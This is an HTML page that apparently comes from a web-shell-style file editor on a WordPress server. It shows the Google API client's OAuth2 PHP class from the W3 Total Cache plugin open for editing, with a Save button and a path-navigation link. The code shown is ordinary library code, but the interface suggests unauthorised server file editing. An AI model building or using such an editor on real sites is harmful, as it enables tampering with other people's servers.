<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: OAuth2.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
/*
 * Copyright 2008 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * Authentication class that deals with the OAuth 2 web-server authentication flow
 *
 * @author Chris Chabot &lt;chabotc@google.com&gt;
 * @author Chirag Shah &lt;chirags@google.com&gt;
 *
 */
class W3TCG_Google_Auth_OAuth2 extends W3TCG_Google_Auth_Abstract
{
  const OAUTH2_REVOKE_URI = 'https://accounts.google.com/o/oauth2/revoke';
  const OAUTH2_TOKEN_URI = 'https://accounts.google.com/o/oauth2/token';
  const OAUTH2_AUTH_URL = 'https://accounts.google.com/o/oauth2/auth';
  const CLOCK_SKEW_SECS = 300; // five minutes in seconds
  const AUTH_TOKEN_LIFETIME_SECS = 300; // five minutes in seconds
  const MAX_TOKEN_LIFETIME_SECS = 86400; // one day in seconds
  const OAUTH2_ISSUER = 'accounts.google.com';

  /** @var W3TCG_Google_Auth_AssertionCredentials $assertionCredentials */
  private $assertionCredentials;

  /**
   * @var string The state parameters for CSRF and other forgery protection.
   */
  private $state;

  /**
   * @var array The token bundle.
   */
  private $token = array();

  /**
   * @var W3TCG_Google_Client the base client
   */
  private $client;

  /**
   * Instantiates the class, but does not initiate the login flow, leaving it
   * to the discretion of the caller.
   */
  public function __construct(W3TCG_Google_Client $client)
  {
    $this-&gt;client = $client;
  }

  /**
   * Perform an authenticated / signed apiHttpRequest.
   * This function takes the apiHttpRequest, calls apiAuth-&gt;sign on it
   * (which can modify the request in what ever way fits the auth mechanism)
   * and then calls apiCurlIO::makeRequest on the signed request
   *
   * @param W3TCG_Google_Http_Request $request
   * @return W3TCG_Google_Http_Request The resulting HTTP response including the
   * responseHttpCode, responseHeaders and responseBody.
   */
  public function authenticatedRequest(W3TCG_Google_Http_Request $request)
  {
    $request = $this-&gt;sign($request);
    return $this-&gt;client-&gt;getIo()-&gt;makeRequest($request);
  }

  /**
   * @param string $code
   * @throws W3TCG_Google_Auth_Exception
   * @return string
   */
  public function authenticate($code)
  {
    if (strlen($code) == 0) {
      throw new W3TCG_Google_Auth_Exception(&quot;Invalid code&quot;);
    }

    // We got here from the redirect from a successful authorization grant,
    // fetch the access token
    $request = new W3TCG_Google_Http_Request(
        self::OAUTH2_TOKEN_URI,
        'POST',
        array(),
        array(
          'code' =&gt; $code,
          'grant_type' =&gt; 'authorization_code',
          'redirect_uri' =&gt; $this-&gt;client-&gt;getClassConfig($this, 'redirect_uri'),
          'client_id' =&gt; $this-&gt;client-&gt;getClassConfig($this, 'client_id'),
          'client_secret' =&gt; $this-&gt;client-&gt;getClassConfig($this, 'client_secret')
        )
    );
    $request-&gt;disableGzip();
    $response = $this-&gt;client-&gt;getIo()-&gt;makeRequest($request);

    if ($response-&gt;getResponseHttpCode() == 200) {
      $this-&gt;setAccessToken($response-&gt;getResponseBody());
      $this-&gt;token['created'] = time();
      return $this-&gt;getAccessToken();
    } else {
      $decodedResponse = json_decode($response-&gt;getResponseBody(), true);
      if ($decodedResponse != null &amp;&amp; $decodedResponse['error']) {
        $errorText = $decodedResponse['error'];
        if (isset($decodedResponse['error_description'])) {
          $errorText .= &quot;: &quot; . $decodedResponse['error_description'];
        }
      }
      throw new W3TCG_Google_Auth_Exception(
          sprintf(
              &quot;Error fetching OAuth2 access token, message: '%s'&quot;,
              $errorText
          ),
          $response-&gt;getResponseHttpCode()
      );
    }
  }

  /**
   * Create a URL to obtain user authorization.
   * The authorization endpoint allows the user to first
   * authenticate, and then grant/deny the access request.
   * @param string $scope The scope is expressed as a list of space-delimited strings.
   * @return string
   */
  public function createAuthUrl($scope)
  {
    $params = array(
        'response_type' =&gt; 'code',
        'redirect_uri' =&gt; $this-&gt;client-&gt;getClassConfig($this, 'redirect_uri'),
        'client_id' =&gt; $this-&gt;client-&gt;getClassConfig($this, 'client_id'),
        'scope' =&gt; $scope,
        'access_type' =&gt; $this-&gt;client-&gt;getClassConfig($this, 'access_type'),
    );

    // Prefer prompt to approval prompt.
    if ($this-&gt;client-&gt;getClassConfig($this, 'prompt')) {
      $params = $this-&gt;maybeAddParam($params, 'prompt');
    } else {
      $params = $this-&gt;maybeAddParam($params, 'approval_prompt');
    }
    $params = $this-&gt;maybeAddParam($params, 'login_hint');
    $params = $this-&gt;maybeAddParam($params, 'hd');
    $params = $this-&gt;maybeAddParam($params, 'openid.realm');
    $params = $this-&gt;maybeAddParam($params, 'include_granted_scopes');

    // If the list of scopes contains plus.login, add request_visible_actions
    // to auth URL.
    $rva = $this-&gt;client-&gt;getClassConfig($this, 'request_visible_actions');
    if (strpos($scope, 'plus.login') &amp;&amp; strlen($rva) &gt; 0) {
        $params['request_visible_actions'] = $rva;
    }

    if (isset($this-&gt;state)) {
      $params['state'] = $this-&gt;state;
    }

    return self::OAUTH2_AUTH_URL . &quot;?&quot; . http_build_query($params, '', '&amp;');
  }

  /**
   * @param string $token
   * @throws W3TCG_Google_Auth_Exception
   */
  public function setAccessToken($token)
  {
    $token = json_decode($token, true);
    if ($token == null) {
      throw new W3TCG_Google_Auth_Exception('Could not json decode the token');
    }
    if (! isset($token['access_token'])) {
      throw new W3TCG_Google_Auth_Exception(&quot;Invalid token format&quot;);
    }
    $this-&gt;token = $token;
  }

  public function getAccessToken()
  {
    return json_encode($this-&gt;token);
  }

  public function getRefreshToken()
  {
    if (array_key_exists('refresh_token', $this-&gt;token)) {
      return $this-&gt;token['refresh_token'];
    } else {
      return null;
    }
  }

  public function setState($state)
  {
    $this-&gt;state = $state;
  }

  public function setAssertionCredentials(W3TCG_Google_Auth_AssertionCredentials $creds)
  {
    $this-&gt;assertionCredentials = $creds;
  }

  /**
   * Include an accessToken in a given apiHttpRequest.
   * @param W3TCG_Google_Http_Request $request
   * @return W3TCG_Google_Http_Request
   * @throws W3TCG_Google_Auth_Exception
   */
  public function sign(W3TCG_Google_Http_Request $request)
  {
    // add the developer key to the request before signing it
    if ($this-&gt;client-&gt;getClassConfig($this, 'developer_key')) {
      $request-&gt;setQueryParam('key', $this-&gt;client-&gt;getClassConfig($this, 'developer_key'));
    }

    // Cannot sign the request without an OAuth access token.
    if (null == $this-&gt;token &amp;&amp; null == $this-&gt;assertionCredentials) {
      return $request;
    }

    // Check if the token is set to expire in the next 30 seconds
    // (or has already expired).
    if ($this-&gt;isAccessTokenExpired()) {
      if ($this-&gt;assertionCredentials) {
        $this-&gt;refreshTokenWithAssertion();
      } else {
        if (! array_key_exists('refresh_token', $this-&gt;token)) {
            throw new W3TCG_Google_Auth_Exception(
                &quot;The OAuth 2.0 access token has expired,&quot;
                .&quot; and a refresh token is not available. Refresh tokens&quot;
                .&quot; are not returned for responses that were auto-approved.&quot;
            );
        }
        $this-&gt;refreshToken($this-&gt;token['refresh_token']);
      }
    }

    // Add the OAuth2 header to the request
    $request-&gt;setRequestHeaders(
        array('Authorization' =&gt; 'Bearer ' . $this-&gt;token['access_token'])
    );

    return $request;
  }

  /**
   * Fetches a fresh access token with the given refresh token.
   * @param string $refreshToken
   * @return void
   */
  public function refreshToken($refreshToken)
  {
    $this-&gt;refreshTokenRequest(
        array(
          'client_id' =&gt; $this-&gt;client-&gt;getClassConfig($this, 'client_id'),
          'client_secret' =&gt; $this-&gt;client-&gt;getClassConfig($this, 'client_secret'),
          'refresh_token' =&gt; $refreshToken,
          'grant_type' =&gt; 'refresh_token'
        )
    );
  }

  /**
   * Fetches a fresh access token with a given assertion token.
   * @param W3TCG_Google_Auth_AssertionCredentials $assertionCredentials optional.
   * @return void
   */
  public function refreshTokenWithAssertion($assertionCredentials = null)
  {
    if (!$assertionCredentials) {
      $assertionCredentials = $this-&gt;assertionCredentials;
    }

    $cacheKey = $assertionCredentials-&gt;getCacheKey();

    if ($cacheKey) {
      // We can check whether we have a token available in the
      // cache. If it is expired, we can retrieve a new one from
      // the assertion.
      $token = $this-&gt;client-&gt;getCache()-&gt;get($cacheKey);
      if ($token) {
        $this-&gt;setAccessToken($token);
      }
      if (!$this-&gt;isAccessTokenExpired()) {
        return;
      }
    }

    $this-&gt;refreshTokenRequest(
        array(
          'grant_type' =&gt; 'assertion',
          'assertion_type' =&gt; $assertionCredentials-&gt;assertionType,
          'assertion' =&gt; $assertionCredentials-&gt;generateAssertion(),
        )
    );

    if ($cacheKey) {
      // Attempt to cache the token.
      $this-&gt;client-&gt;getCache()-&gt;set(
          $cacheKey,
          $this-&gt;getAccessToken()
      );
    }
  }

  private function refreshTokenRequest($params)
  {
    $http = new W3TCG_Google_Http_Request(
        self::OAUTH2_TOKEN_URI,
        'POST',
        array(),
        $params
    );
    $http-&gt;disableGzip();
    $request = $this-&gt;client-&gt;getIo()-&gt;makeRequest($http);

    $code = $request-&gt;getResponseHttpCode();
    $body = $request-&gt;getResponseBody();
    if (200 == $code) {
      $token = json_decode($body, true);
      if ($token == null) {
        throw new W3TCG_Google_Auth_Exception(&quot;Could not json decode the access token&quot;);
      }

      if (! isset($token['access_token']) || ! isset($token['expires_in'])) {
        throw new W3TCG_Google_Auth_Exception(&quot;Invalid token format&quot;);
      }

      if (isset($token['id_token'])) {
        $this-&gt;token['id_token'] = $token['id_token'];
      }
      $this-&gt;token['access_token'] = $token['access_token'];
      $this-&gt;token['expires_in'] = $token['expires_in'];
      $this-&gt;token['created'] = time();
    } else {
      throw new W3TCG_Google_Auth_Exception(&quot;Error refreshing the OAuth2 token, message: '$body'&quot;, $code);
    }
  }

  /**
   * Revoke an OAuth2 access token or refresh token. This method will revoke the current access
   * token, if a token isn't provided.
   * @throws W3TCG_Google_Auth_Exception
   * @param string|null $token The token (access token or a refresh token) that should be revoked.
   * @return boolean Returns True if the revocation was successful, otherwise False.
   */
  public function revokeToken($token = null)
  {
    if (!$token) {
      if (!$this-&gt;token) {
        // Not initialized, no token to actually revoke
        return false;
      } elseif (array_key_exists('refresh_token', $this-&gt;token)) {
        $token = $this-&gt;token['refresh_token'];
      } else {
        $token = $this-&gt;token['access_token'];
      }
    }
    $request = new W3TCG_Google_Http_Request(
        self::OAUTH2_REVOKE_URI,
        'POST',
        array(),
        &quot;token=$token&quot;
    );
    $request-&gt;disableGzip();
    $response = $this-&gt;client-&gt;getIo()-&gt;makeRequest($request);
    $code = $response-&gt;getResponseHttpCode();
    if ($code == 200) {
      $this-&gt;token = null;
      return true;
    }

    return false;
  }

  /**
   * Returns if the access_token is expired.
   * @return bool Returns True if the access_token is expired.
   */
  public function isAccessTokenExpired()
  {
    if (!$this-&gt;token || !isset($this-&gt;token['created'])) {
      return true;
    }

    // If the token is set to expire in the next 30 seconds.
    $expired = ($this-&gt;token['created']
        + ($this-&gt;token['expires_in'] - 30)) &lt; time();

    return $expired;
  }

  // Gets federated sign-on certificates to use for verifying identity tokens.
  // Returns certs as array structure, where keys are key ids, and values
  // are PEM encoded certificates.
  private function getFederatedSignOnCerts()
  {
    return $this-&gt;retrieveCertsFromLocation(
        $this-&gt;client-&gt;getClassConfig($this, 'federated_signon_certs_url')
    );
  }

  /**
   * Retrieve and cache a certificates file.
   *
   * @param $url string location
   * @throws W3TCG_Google_Auth_Exception
   * @return array certificates
   */
  public function retrieveCertsFromLocation($url)
  {
    // If we're retrieving a local file, just grab it.
    if (&quot;http&quot; != substr($url, 0, 4)) {
      $file = file_get_contents($url);
      if ($file) {
        return json_decode($file, true);
      } else {
        throw new W3TCG_Google_Auth_Exception(
            &quot;Failed to retrieve verification certificates: '&quot; .
            $url . &quot;'.&quot;
        );
      }
    }

    // This relies on makeRequest caching certificate responses.
    $request = $this-&gt;client-&gt;getIo()-&gt;makeRequest(
        new W3TCG_Google_Http_Request(
            $url
        )
    );
    if ($request-&gt;getResponseHttpCode() == 200) {
      $certs = json_decode($request-&gt;getResponseBody(), true);
      if ($certs) {
        return $certs;
      }
    }
    throw new W3TCG_Google_Auth_Exception(
        &quot;Failed to retrieve verification certificates: '&quot; .
        $request-&gt;getResponseBody() . &quot;'.&quot;,
        $request-&gt;getResponseHttpCode()
    );
  }

  /**
   * Verifies an id token and returns the authenticated apiLoginTicket.
   * Throws an exception if the id token is not valid.
   * The audience parameter can be used to control which id tokens are
   * accepted.  By default, the id token must have been issued to this OAuth2 client.
   *
   * @param $id_token
   * @param $audience
   * @return W3TCG_Google_Auth_LoginTicket
   */
  public function verifyIdToken($id_token = null, $audience = null)
  {
    if (!$id_token) {
      $id_token = $this-&gt;token['id_token'];
    }
    $certs = $this-&gt;getFederatedSignonCerts();
    if (!$audience) {
      $audience = $this-&gt;client-&gt;getClassConfig($this, 'client_id');
    }

    return $this-&gt;verifySignedJwtWithCerts($id_token, $certs, $audience, self::OAUTH2_ISSUER);
  }

  /**
   * Verifies the id token, returns the verified token contents.
   *
   * @param $jwt string the token
   * @param $certs array of certificates
   * @param $required_audience string the expected consumer of the token
   * @param [$issuer] the expected issues, defaults to Google
   * @param [$max_expiry] the max lifetime of a token, defaults to MAX_TOKEN_LIFETIME_SECS
   * @throws W3TCG_Google_Auth_Exception
   * @return mixed token information if valid, false if not
   */
  public function verifySignedJwtWithCerts(
      $jwt,
      $certs,
      $required_audience,
      $issuer = null,
      $max_expiry = null
  ) {
    if (!$max_expiry) {
      // Set the maximum time we will accept a token for.
      $max_expiry = self::MAX_TOKEN_LIFETIME_SECS;
    }

    $segments = explode(&quot;.&quot;, $jwt);
    if (count($segments) != 3) {
      throw new W3TCG_Google_Auth_Exception(&quot;Wrong number of segments in token: $jwt&quot;);
    }
    $signed = $segments[0] . &quot;.&quot; . $segments[1];
    $signature = W3TCG_Google_Utils::urlSafeB64Decode($segments[2]);

    // Parse envelope.
    $envelope = json_decode(W3TCG_Google_Utils::urlSafeB64Decode($segments[0]), true);
    if (!$envelope) {
      throw new W3TCG_Google_Auth_Exception(&quot;Can't parse token envelope: &quot; . $segments[0]);
    }

    // Parse token
    $json_body = W3TCG_Google_Utils::urlSafeB64Decode($segments[1]);
    $payload = json_decode($json_body, true);
    if (!$payload) {
      throw new W3TCG_Google_Auth_Exception(&quot;Can't parse token payload: &quot; . $segments[1]);
    }

    // Check signature
    $verified = false;
    foreach ($certs as $keyName =&gt; $pem) {
      $public_key = new W3TCG_Google_Verifier_Pem($pem);
      if ($public_key-&gt;verify($signed, $signature)) {
        $verified = true;
        break;
      }
    }

    if (!$verified) {
      throw new W3TCG_Google_Auth_Exception(&quot;Invalid token signature: $jwt&quot;);
    }

    // Check issued-at timestamp
    $iat = 0;
    if (array_key_exists(&quot;iat&quot;, $payload)) {
      $iat = $payload[&quot;iat&quot;];
    }
    if (!$iat) {
      throw new W3TCG_Google_Auth_Exception(&quot;No issue time in token: $json_body&quot;);
    }
    $earliest = $iat - self::CLOCK_SKEW_SECS;

    // Check expiration timestamp
    $now = time();
    $exp = 0;
    if (array_key_exists(&quot;exp&quot;, $payload)) {
      $exp = $payload[&quot;exp&quot;];
    }
    if (!$exp) {
      throw new W3TCG_Google_Auth_Exception(&quot;No expiration time in token: $json_body&quot;);
    }
    if ($exp &gt;= $now + $max_expiry) {
      throw new W3TCG_Google_Auth_Exception(
          sprintf(&quot;Expiration time too far in future: %s&quot;, $json_body)
      );
    }

    $latest = $exp + self::CLOCK_SKEW_SECS;
    if ($now &lt; $earliest) {
      throw new W3TCG_Google_Auth_Exception(
          sprintf(
              &quot;Token used too early, %s &lt; %s: %s&quot;,
              $now,
              $earliest,
              $json_body
          )
      );
    }
    if ($now &gt; $latest) {
      throw new W3TCG_Google_Auth_Exception(
          sprintf(
              &quot;Token used too late, %s &gt; %s: %s&quot;,
              $now,
              $latest,
              $json_body
          )
      );
    }

    $iss = $payload['iss'];
    if ($issuer &amp;&amp; $iss != $issuer) {
      throw new W3TCG_Google_Auth_Exception(
          sprintf(
              &quot;Invalid issuer, %s != %s: %s&quot;,
              $iss,
              $issuer,
              $json_body
          )
      );
    }

    // Check audience
    $aud = $payload[&quot;aud&quot;];
    if ($aud != $required_audience) {
      throw new W3TCG_Google_Auth_Exception(
          sprintf(
              &quot;Wrong recipient, %s != %s:&quot;,
              $aud,
              $required_audience,
              $json_body
          )
      );
    }

    // All good.
    return new W3TCG_Google_Auth_LoginTicket($envelope, $payload);
  }

  /**
   * Add a parameter to the auth params if not empty string.
   */
  private function maybeAddParam($params, $name)
  {
    $param = $this-&gt;client-&gt;getClassConfig($this, $name);
    if ($param != '') {
      $params[$name] = $param;
    }
    return $params;
  }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Flib%2FGoogle%2FAuth'>🔙 Back</a>